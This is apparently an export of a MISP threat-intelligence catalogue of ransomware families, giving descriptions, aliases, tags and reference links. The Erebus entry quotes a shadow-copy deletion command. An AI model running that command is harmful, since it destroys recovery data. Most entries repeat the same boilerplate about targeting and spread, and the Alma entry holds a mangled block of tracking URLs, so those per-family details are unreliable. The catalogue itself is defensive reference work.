https://id-ransomware.blogspot.co.il/2016/11/gremit-ransomware.html
https://twitter.com/struppigel/status/794444032286060544
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-4th-2016-cerber-paydos-alcatraz-locker-and-more/

Hollycrypt Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Hollycrypt Ransomware"*

Table 3072. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/hollycrypt-ransomware.html

BTCLocker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="BTCLocker Ransomware"*

BTCLocker Ransomware is also known as:

- BTC Ransomware

Table 3073. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/btclocker-ransomware.html

Kangaroo Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. From the developer behind the Apocalypse Ransomware, Fabiansomware, and Esmeralda

The tag is: *misp-galaxy:ransomware="Kangaroo Ransomware"*

Table 3074. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/kangaroo-ransomware.html
https://www.bleepingcomputer.com/news/security/the-kangaroo-ransomware-not-only-encrypts-your-data-but-tries-to-lock-you-out-of-windows/

DummyEncrypter Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="DummyEncrypter Ransomware"*

Table 3075. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/dummyencrypter-ransomware.html

Encryptss77 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Encryptss77 Ransomware"*

Encryptss77 Ransomware is also known as:

- SFX Monster Ransomware

Table 3076. Table References

Links
http://virusinfo.info/showthread.php?t=201710
https://id-ransomware.blogspot.co.il/2016/11/encryptss77-ransomware.html

WinRarer Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="WinRarer Ransomware"*

Table 3077. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/winrarer-ransomware.html

Russian Globe Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Russian Globe Ransomware"*

Table 3078. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/russian-globe-ransomware.html

ZeroCrypt Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="ZeroCrypt Ransomware"*

Table 3079. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/zerocrypt-ransomware.html

RotorCrypt(RotoCrypt, Tar) Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="RotorCrypt(RotoCrypt, Tar) Ransomware"*

RotorCrypt(RotoCrypt, Tar) Ransomware is also known as:

- RotorCrypt
- RotoCrypt
- Tar Ransomware

Table 3080. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/rotorcrypt-ransomware.html

https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/
https://twitter.com/demonslay335/status/1050117756094476289

Ishtar Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.

The tag is: *misp-galaxy:ransomware="Ishtar Ransomware"*

Table 3081. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/ishtar-ransomware.html

MasterBuster Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="MasterBuster Ransomware"*

Table 3082. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/masterbuster-ransomware.html
https://twitter.com/struppigel/status/791943837874651136

JackPot Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="JackPot Ransomware"*

JackPot Ransomware is also known as:

- Jack.Pot Ransomware

Table 3083. Table References

Links

https://id-ransomware.blogspot.co.il/2016/10/jackpot-ransomware.html
https://twitter.com/struppigel/status/791639214152617985
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-28-2016-locky-angry-duck-and-more/

ONYX Ransomeware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Georgian ransomware

The tag is: *misp-galaxy:ransomware="ONYX Ransomeware"*

Table 3084. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/onyx-ransomware.html
https://twitter.com/struppigel/status/791557636164558848
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-28-2016-locky-angry-duck-and-more/

IFN643 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="IFN643 Ransomware"*

Table 3085. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/ifn643-ransomware.html
https://twitter.com/struppigel/status/791576159960072192
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-28-2016-locky-angry-duck-and-more/

Alcatraz Locker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Alcatraz Locker Ransomware"*

Table 3086. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/alcatraz-locker-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-4th-2016-cerber-paydos-alcatraz-locker-and-more/
https://twitter.com/PolarToffee/status/792796055020642304

Esmeralda Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Esmeralda Ransomware"*

Table 3087. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/esmeralda-ransomware.html
https://www.bleepingcomputer.com/forums/t/630835/esmeralda-ransomware/

EncrypTile Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="EncrypTile Ransomware"*

Table 3088. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/encryptile-ransomware.html

Fileice Ransomware Survey Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Sample of how the hacker tricks the user using the survey method. https://1.bp.blogspot.com/-72ECd1vsUdE/WBMSzPQEgzI/AAAAAAAABzA/i8V-Kg8Gstcn_7-YZK__PDC2VgafWcfDgCLcB/s1600/survey-screen.png The hacker definatly has a sense of humor: https://1.bp.blogspot.com/-2AlvtcvdyUY/WBMVptG_V5I/AAAAAAAABzc/1KvAMeDmY2w9BN9vkqZO8LWkBu7T9mvDACLcB/s1600/ThxForYurTyme.JPG

The tag is: *misp-galaxy:ransomware="Fileice Ransomware Survey Ransomware"*

Table 3089. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/fileice-ransomware-survey.html
https://www.bleepingcomputer.com/news/security/in-dev-ransomware-forces-you-do-to-survey-before-unlocking-computer/

CryptoWire Ransomeware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="CryptoWire Ransomeware"*

Table 3090. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/cryptowire-ransomware.html
https://twitter.com/struppigel/status/791554654664552448
https://www.bleepingcomputer.com/news/security/-proof-of-concept-cryptowire-ransomware-spawns-lomix-and-ultralocker-families/

Hucky Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on Locky

The tag is: *misp-galaxy:ransomware="Hucky Ransomware"*

Hucky Ransomware is also known as:

- Hungarian Locky Ransomware

Table 3091. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/hucky-ransomware-hungarian-locky.html
https://blog.avast.com/hucky-ransomware-a-hungarian-locky-wannabe
https://twitter.com/struppigel/status/846241982347427840

Winnix Cryptor Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Winnix Cryptor Ransomware"*

Table 3092. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/winnix-cryptor-ransomware.html
https://twitter.com/PolarToffee/status/811940037638111232

AngryDuck Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Demands 10 BTC

The tag is: *misp-galaxy:ransomware="AngryDuck Ransomware"*

Table 3093. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/angryduck-ransomware.html
https://twitter.com/demonslay335/status/790334746488365057

Lock93 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Lock93 Ransomware"*

Table 3094. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/lock93-ransomware.html
https://twitter.com/malwrhunterteam/status/789882488365678592

ASN1 Encoder Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="ASN1 Encoder Ransomware"*

Table 3095. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/asn1-encoder-ransomware.html
https://malwarebreakdown.com/2017/03/02/rig-ek-at-92-53-105-43-drops-asn1-ransomware/

Click Me Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker tries to get the user to play a game and when the user clicks the button, there is no game, just 20 pictures in a .gif below: https://3.bp.blogspot.com/-1zgO3-bBazs/WAkPYqXuayI/AAAAAAAABxI/DO3vycRW-TozneSfRTdeKyXGNEtJSMehgCLcB/s1600/all-images.gif

The tag is: *misp-galaxy:ransomware="Click Me Ransomware"*

Table 3096. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/click-me-ransomware.html
https://www.youtube.com/watch?v=Xe30kV4ip8w

AiraCrop Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="AiraCrop Ransomware"*

Table 3097. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/airacrop-ransomware.html

JapanLocker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Base64 encoding, ROT13, and top-bottom swapping

The tag is: *misp-galaxy:ransomware="JapanLocker Ransomware"*

JapanLocker Ransomware is also known as:

- SHC Ransomware
- SHCLocker
- SyNcryption

Table 3098. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/japanlocker-ransomware.html
https://www.cyber.nj.gov/threat-profiles/ransomware-variants/japanlocker
https://github.com/fortiguard-lion/schRansomwareDecryptor/blob/master/schRansomwarev1_decryptor.php
https://blog.fortinet.com/2016/10/19/japanlocker-an-excavation-to-its-indonesian-roots

Anubis Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. EDA2

The tag is: *misp-galaxy:ransomware="Anubis Ransomware"*

Table 3099. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/anubis-ransomware.html
http://nyxbone.com/malware/Anubis.html

XTPLocker 5.0 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="XTPLocker 5.0 Ransomware"*

Table 3100. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/xtplocker-ransomware.html

Exotic Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Also encrypts executables

The tag is: *misp-galaxy:ransomware="Exotic Ransomware"*

Table 3101. Table References

Links
https://www.bleepingcomputer.com/news/security/eviltwins-exotic-ransomware-targets-executable-files/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-14-2016-exotic-lockydump-comrade-and-more/
https://www.cyber.nj.gov/threat-profiles/ransomware-variants/exotic-ransomware
https://id-ransomware.blogspot.co.il/2016/10/exotic-ransomware.html

APT Ransomware v.2

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. NO POINT TO PAY THE RANSOM, THE FILES ARE COMPLETELY DESTROYED

The tag is: *misp-galaxy:ransomware="APT Ransomware v.2"*

Table 3102. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/apt-ransomware-2.html

Windows_Security Ransonware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Windows_Security Ransonware"*

Windows_Security Ransonware is also known as:

- WS Go Ransonware
- Trojan.Encoder.6491

Windows_Security Ransonware has relationships with:

- similar: misp-galaxy:ransomware="Encoder.xxxx" with estimative-language:likelihood-probability="likely"

Table 3103. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/ws-go-ransonware.html
https://www.cyber.nj.gov/threat-profiles/ransomware-variants/apt-ransomware-v2

NCrypt Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="NCrypt Ransomware"*

Table 3104. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/ncrypt-ransomware.html

Venis Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. In devVenisRansom@protonmail.com

The tag is: *misp-galaxy:ransomware="Venis Ransomware"*

Table 3105. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/venis-ransomware.html
https://twitter.com/Antelox/status/785849412635521024
http://pastebin.com/HuK99Xmj

Enigma 2 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Enigma 2 Ransomware"*

Table 3106. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/enigma-2-ransomware.html

Deadly Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. sample is set to encrypt only in 2017…

The tag is: *misp-galaxy:ransomware="Deadly Ransomware"*

Deadly Ransomware is also known as:

- Deadly for a Good Purpose Ransomware

Table 3107. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/deadly-ransomware.html
https://twitter.com/malwrhunterteam/status/785533373007728640

Comrade Circle Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Comrade Circle Ransomware"*

Table 3108. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/comrade-circle-ransomware.html

Globe2 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Globe2 Ransomware"*

Globe2 Ransomware is also known as:

- Purge Ransomware

Globe2 Ransomware has relationships with:

- similar: misp-galaxy:ransomware="Globe3 Ransomware" with estimative-language:likelihood-probability="likely"

Table 3109. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/globe2-ransomware.html
https://success.trendmicro.com/portal_kb_articledetail?solutionid=1114221

Kostya Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Kostya Ransomware"*

Table 3110. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/kostya-ransomware.html
http://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-14-2016-exotic-lockydump-comrade-and-more/

Fs0ciety Locker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Fs0ciety Locker Ransomware"*

Table 3111. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/fs0ciety-locker-ransomware.htm

Erebus Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. After the files are decrypted, the shadow files are deleted using the following command: vssadmin.exe Delete Shadows /All /Quiet

The tag is: *misp-galaxy:ransomware="Erebus Ransomware"*

Table 3112. Table References

Links
https://id-ransomware.blogspot.co.il/2016/09/erebus-ransomware.html

WannaCry

According to numerous open-source reports, a widespread ransomware campaign is affecting various organizations with reports of tens of thousands of infections in as many as 74 countries, including the United States, United Kingdom, Spain, Russia, Taiwan, France, and Japan. The software can run in as many as 27 different languages. The latest version of this ransomware variant, known as WannaCry, WCry, or Wanna Decryptor, was discovered the morning of May 12, 2017, by an independent security researcher and has spread rapidly over several hours, with initial reports beginning around 4:00 AM EDT, May 12, 2017. Open-source reporting indicates a requested ransom of .1781 bitcoins, roughly $300 U.S.

The tag is: *misp-galaxy:ransomware="WannaCry"*

WannaCry is also known as:

- WannaCrypt
- WannaCry
- WanaCrypt0r
- WCrypt
- WCRY

WannaCry has relationships with:

- similar: misp-galaxy:malpedia="WannaCryptor" with estimative-language:likelihood-probability="likely"

Table 3113. Table References

Links

https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168

.CryptoHasYou.

Ransomware

The tag is: *misp-galaxy:ransomware=".CryptoHasYou."*

Table 3114. Table References

Links
http://www.nyxbone.com/malware/CryptoHasYou.html

777

Ransomware

The tag is: *misp-galaxy:ransomware="777"*

777 is also known as:

- Sevleg

Table 3115. Table References

Links
https://decrypter.emsisoft.com/777

7ev3n

Ransomware

The tag is: *misp-galaxy:ransomware="7ev3n"*

7ev3n is also known as:

- 7ev3n-HONE$T

7ev3n has relationships with:

- similar: misp-galaxy:malpedia="7ev3n" with estimative-language:likelihood-probability="likely"

Table 3116. Table References

Links
https://github.com/hasherezade/malware_analysis/tree/master/7ev3n
https://www.youtube.com/watch?v=RDNbH5HDO1E&feature=youtu.be
http://www.nyxbone.com/malware/7ev3n-HONE$T.html

8lock8

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="8lock8"*

Table 3117. Table References

Links
http://www.bleepingcomputer.com/forums/t/614025/8lock8-help-support-topic-8lock8-read-ittxt/

AiraCrop

Ransomware related to TeamXRat

The tag is: *misp-galaxy:ransomware="AiraCrop"*

Table 3118. Table References

Links
https://twitter.com/PolarToffee/status/796079699478900736

Al-Namrood

Ransomware

The tag is: *misp-galaxy:ransomware="Al-Namrood"*

Table 3119. Table References

Links
https://decrypter.emsisoft.com/al-namrood

ALFA Ransomware

Ransomware Made by creators of Cerber

The tag is: *misp-galaxy:ransomware="ALFA Ransomware"*

Table 3120. Table References

Links
http://www.bleepingcomputer.com/news/security/new-alfa-or-alpha-ransomware-from-the-same-devs-as-cerber/

Alma Ransomware

Ransomware

The tag is: *misp-galaxy:ransomware="Alma Ransomware"*

Table 3121. Table References

Links

```
<a href="https://cta-service-cms2.hubspot.com/ctas/v2/public/cs/c/?cta_guid=d4173312-989b-4721-
ad00-8308fff353b3&amp;placement_guid=22f2fe97-c748-4d6a-9e1e-
ba3fb1060abe&amp;portal_id=326665&amp;redirect_url=APefjpGnqFjmP_xzeUZ1Y55ovglY1y1ch7
CgMDLit5GTHcW9N0ztpnIE-ZReqqv8MDj687_4Joou7Cd2rSx8-
De8uhFQAD_Len9QpT7Xvu8neW5drkdtTPV7hAaou0osAi2O61dizFXibewmpO60UUCd5OazCGz1V6
yT_3UFMgL0x9S1VeOvoL_ucuER8g2H3f1EfbtYBw5QFWeUmrjk-
9dGzOGspyn303k9XagBtF3SSX4YWSyuEs03Vq7Fxb04KkyKc4GJx-
igK98Qta8iMafUam8ikg8XKPkob0FK6Pe-
wRZ0QVWIIkM&amp;hsutk=34612af1cd87864cf7162095872571d1&amp;utm_referrer=https%3A%
2F%2Finfo.phishlabs.com%2Fblog%2Falma-ransomware-analysis-of-a-new-ransomware-threat-
and-a-decrypter&amp;canon=https%3A%2F%2Finfo.phishlabs.com%2Fblog%2Falma-
ransomware-analysis-of-a-new-ransomware-threat-and-a-decrypter&amp"
class="bare">https://cta-service-cms2.hubspot.com/ctas/v2/public/cs/c/?cta_guid=d4173312-989b-
4721-ad00-8308fff353b3&amp;placement_guid=22f2fe97-c748-4d6a-9e1e-ba3fb1060abe&amp;
portal_id=326665&amp;
redirect_url=APefjpGnqFjmP_xzeUZ1Y55ovglY1y1ch7CgMDLit5GTHcW9N0ztpnIE-
ZReqqv8MDj687_4Joou7Cd2rSx8-
De8uhFQAD_Len9QpT7Xvu8neW5drkdtTPV7hAaou0osAi2O61dizFXibewmpO60UUCd5OazCGz1V6
yT_3UFMgL0x9S1VeOvoL_ucuER8g2H3f1EfbtYBw5QFWeUmrjk-
9dGzOGspyn303k9XagBtF3SSX4YWSyuEs03Vq7Fxb04KkyKc4GJx-
igK98Qta8iMafUam8ikg8XKPkob0FK6Pe-wRZ0QVWIIkM&amp;
hsutk=34612af1cd87864cf7162095872571d1&amp;
utm_referrer=https%3A%2F%2Finfo.phishlabs.com%2Fblog%2Falma-ransomware-analysis-of-a-
new-ransomware-threat-and-a-decrypter&amp;
canon=https%3A%2F%2Finfo.phishlabs.com%2Fblog%2Falma-ransomware-analysis-of-a-new-
ransomware-threat-and-a-
decrypter&amp</a>;<em>hstc=61627571.34612af1cd87864cf7162095872571d1.1472135921345.147
2140656779.1472593507113.3&amp;</em>hssc=61627571.1.1472593507113&amp;<em>hsfp=11143
23283[<a href="https://cta-service-cms2.hubspot.com/ctas/v2/public/cs/c/?cta_guid=d4173312-989b-
4721-ad00-8308fff353b3&amp;placement_guid=22f2fe97-c748-4d6a-9e1e-
ba3fb1060abe&amp;portal_id=326665&amp;redirect_url=APefjpGnqFjmP_xzeUZ1Y55ovglY1y1ch7
CgMDLit5GTHcW9N0ztpnIE-ZReqqv8MDj687_4Joou7Cd2rSx8-
De8uhFQAD_Len9QpT7Xvu8neW5drkdtTPV7hAaou0osAi2O61dizFXibewmpO60UUCd5OazCGz1V6
yT_3UFMgL0x9S1VeOvoL_ucuER8g2H3f1EfbtYBw5QFWeUmrjk-
9dGzOGspyn303k9XagBtF3SSX4YWSyuEs03Vq7Fxb04KkyKc4GJx-
igK98Qta8iMafUam8ikg8XKPkob0FK6Pe-
wRZ0QVWIIkM&amp;hsutk=34612af1cd87864cf7162095872571d1&amp;utm_referrer=https%3A%
2F%2Finfo.phishlabs.com%2Fblog%2Falma-ransomware-analysis-of-a-new-ransomware-threat-
and-a-decrypter&amp;canon=https%3A%2F%2Finfo.phishlabs.com%2Fblog%2Falma-
ransomware-analysis-of-a-new-ransomware-threat-and-a-decrypter&amp"
class="bare">https://cta-service-cms2.hubspot.com/ctas/v2/public/cs/c/?cta_guid=d4173312-989b-
4721-ad00-8308fff353b3&amp;placement_guid=22f2fe97-c748-4d6a-9e1e-ba3fb1060abe&amp;
portal_id=326665&amp;
redirect_url=APefjpGnqFjmP_xzeUZ1Y55ovglY1y1ch7CgMDLit5GTHcW9N0ztpnIE-
ZReqqv8MDj687_4Joou7Cd2rSx8-
De8uhFQAD_Len9QpT7Xvu8neW5drkdtTPV7hAaou0osAi2O61dizFXibewmpO60UUCd5OazCGz1V6
yT_3UFMgL0x9S1VeOvoL_ucuER8g2H3f1EfbtYBw5QFWeUmrjk-
9dGzOGspyn303k9XagBtF3SSX4YWSyuEs03Vq7Fxb04KkyKc4GJx-
igK98Qta8iMafUam8ikg8XKPkob0FK6Pe-wRZ0QVWIIkM&amp;
hsutk=34612af1cd87864cf7162095872571d1&amp;
utm_referrer=https%3A%2F%2Finfo.phishlabs.com%2Fblog%2Falma-ransomware-analysis-of-a-
new-ransomware-threat-and-a-decrypter&amp;
canon=https%3A%2F%2Finfo.phishlabs.com%2Fblog%2Falma-ransomware-analysis-of-a-new-
```

https://info.phishlabs.com/blog/alma-ransomware-analysis-of-a-new-ransomware-threat-and-a-decrypter
http://www.bleepingcomputer.com/news/security/new-alma-locker-ransomware-being-distributed-via-the-rig-exploit-kit/

Alpha Ransomware

Ransomware

The tag is: *misp-galaxy:ransomware="Alpha Ransomware"*

Alpha Ransomware is also known as:

- AlphaLocker

Alpha Ransomware has relationships with:

- similar: misp-galaxy:malpedia="AlphaLocker" with estimative-language:likelihood-probability="likely"

Table 3122. Table References

Links
http://download.bleepingcomputer.com/demonslay335/AlphaDecrypter.zip
http://www.bleepingcomputer.com/news/security/decrypted-alpha-ransomware-continues-the-trend-of-accepting-amazon-cards/
https://twitter.com/malwarebread/status/804714048499621888

AMBA

Ransomware Websites only amba@riseup.net

The tag is: *misp-galaxy:ransomware="AMBA"*

Table 3123. Table References

Links
https://twitter.com/benkow_/status/747813034006020096

AngleWare

Ransomware

The tag is: *misp-galaxy:ransomware="AngleWare"*

Table 3124. Table References

Links
https://twitter.com/BleepinComputer/status/844531418474708993

Anony

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="Anony"*

Anony is also known as:

- ngocanh

Table 3125. Table References

Links
https://twitter.com/struppigel/status/842047409446387714

Apocalypse

